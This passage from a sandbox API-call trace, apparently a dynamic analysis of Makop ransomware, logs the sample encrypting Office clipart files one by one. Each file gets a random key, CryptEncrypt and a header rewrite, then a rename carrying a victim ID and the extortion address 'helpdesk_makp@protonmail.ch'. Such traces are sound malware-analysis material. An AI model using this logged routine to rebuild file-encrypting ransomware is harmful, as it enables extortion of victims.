[0150.932] CloseHandle (hObject=0xf0) returned 1 [0150.932] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d1f5400, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d1f5400, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x1758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00728_.WMF", cAlternateFileName="")) returned 1 [0150.932] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF") returned 63 [0150.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.933] GetProcessHeap () returned 0x48a0000 [0150.933] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.933] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.933] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.938] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.938] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.938] GetProcessHeap () returned 0x48a0000 [0150.938] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.938] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.938] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.939] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.939] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.939] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.939] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.939] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.940] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.940] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.940] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.940] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.940] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1758, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1758, lpOverlapped=0x0) returned 1 [0150.941] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1760, dwBufLen=0x1760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1760) returned 1 [0150.941] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.942] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1760, lpOverlapped=0x0) returned 1 [0150.942] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.942] SetEndOfFile (hFile=0xf0) returned 1 [0150.950] GetProcessHeap () returned 0x48a0000 [0150.950] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.950] GetProcessHeap () returned 0x48a0000 [0150.950] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.950] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.952] CloseHandle (hObject=0xf0) returned 1 [0150.952] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5096e900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5096e900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00732_.WMF", cAlternateFileName="")) returned 1 [0150.952] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 63 [0150.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.953] GetProcessHeap () returned 0x48a0000 [0150.953] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.954] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.958] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.958] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.958] GetProcessHeap () returned 0x48a0000 [0150.959] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.959] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.959] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.959] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.960] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.960] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.960] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.960] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13fc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x13fc, lpOverlapped=0x0) returned 1 [0150.962] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1400, dwBufLen=0x1400 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1400) returned 1 [0150.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.962] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1400, lpOverlapped=0x0) returned 1 [0150.962] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.962] SetEndOfFile (hFile=0xf0) returned 1 [0150.970] GetProcessHeap () returned 0x48a0000 [0150.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.970] GetProcessHeap () returned 0x48a0000 [0150.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.970] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.972] CloseHandle (hObject=0xf0) returned 1 [0150.972] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e348f00, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e348f00, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00734_.WMF", cAlternateFileName="")) returned 1 [0150.972] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 63 [0150.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.973] GetProcessHeap () returned 0x48a0000 [0150.975] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.975] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.975] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.975] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.975] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.975] GetProcessHeap () returned 0x48a0000 [0150.975] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.975] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.975] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.975] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.980] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.980] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.980] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.980] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.981] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.981] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.981] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x660, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x660, lpOverlapped=0x0) returned 1 [0150.981] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x660, dwBufLen=0x660 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x660) returned 1 [0150.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.981] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x660, lpOverlapped=0x0) returned 1 [0150.981] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.981] SetEndOfFile (hFile=0xf0) returned 1 [0150.988] GetProcessHeap () returned 0x48a0000 [0150.988] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.988] GetProcessHeap () returned 0x48a0000 [0150.988] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.988] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.988] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.990] CloseHandle (hObject=0xf0) returned 1 [0150.990] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d036200, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d036200, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00735_.WMF", cAlternateFileName="")) returned 1 [0150.990] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 63 [0150.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.991] GetProcessHeap () returned 0x48a0000 [0150.991] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.991] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.992] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.996] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.996] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.996] GetProcessHeap () returned 0x48a0000 [0150.996] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.996] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.996] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.996] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.997] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.997] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.997] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.997] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.997] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.998] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.998] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.998] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.998] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5cc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5cc, lpOverlapped=0x0) returned 1 [0150.998] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5d0, dwBufLen=0x5d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5d0) returned 1 [0150.998] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.998] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5d0, lpOverlapped=0x0) returned 1 [0150.998] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.998] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.998] SetEndOfFile (hFile=0xf0) returned 1 [0151.006] GetProcessHeap () returned 0x48a0000 [0151.006] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.006] GetProcessHeap () returned 0x48a0000 [0151.006] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.006] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.006] 